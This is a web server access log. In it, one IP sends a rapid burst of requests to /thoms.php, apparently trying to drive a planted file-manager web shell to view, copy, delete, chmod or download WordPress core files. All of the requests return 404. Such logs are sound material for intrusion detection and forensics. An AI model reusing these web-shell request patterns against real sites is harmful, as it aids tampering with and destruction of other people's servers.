45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?del=images&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fmedia.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fmedia.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?dl=load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?del=build&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=build&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?chmod=pomo&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcanonical.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcanonical.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:06 -0400] "GET /thoms.php?dl=class-wp-user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?del=block-bindings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?dl=block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?del=class-wp-role.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?chmod=error_log&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?chmod=css&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcapabilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcapabilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fembed-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fembed-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frss-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frss-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?dl=theme-templates.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?chmod=user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost-formats.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost-formats.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?del=class-smtp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
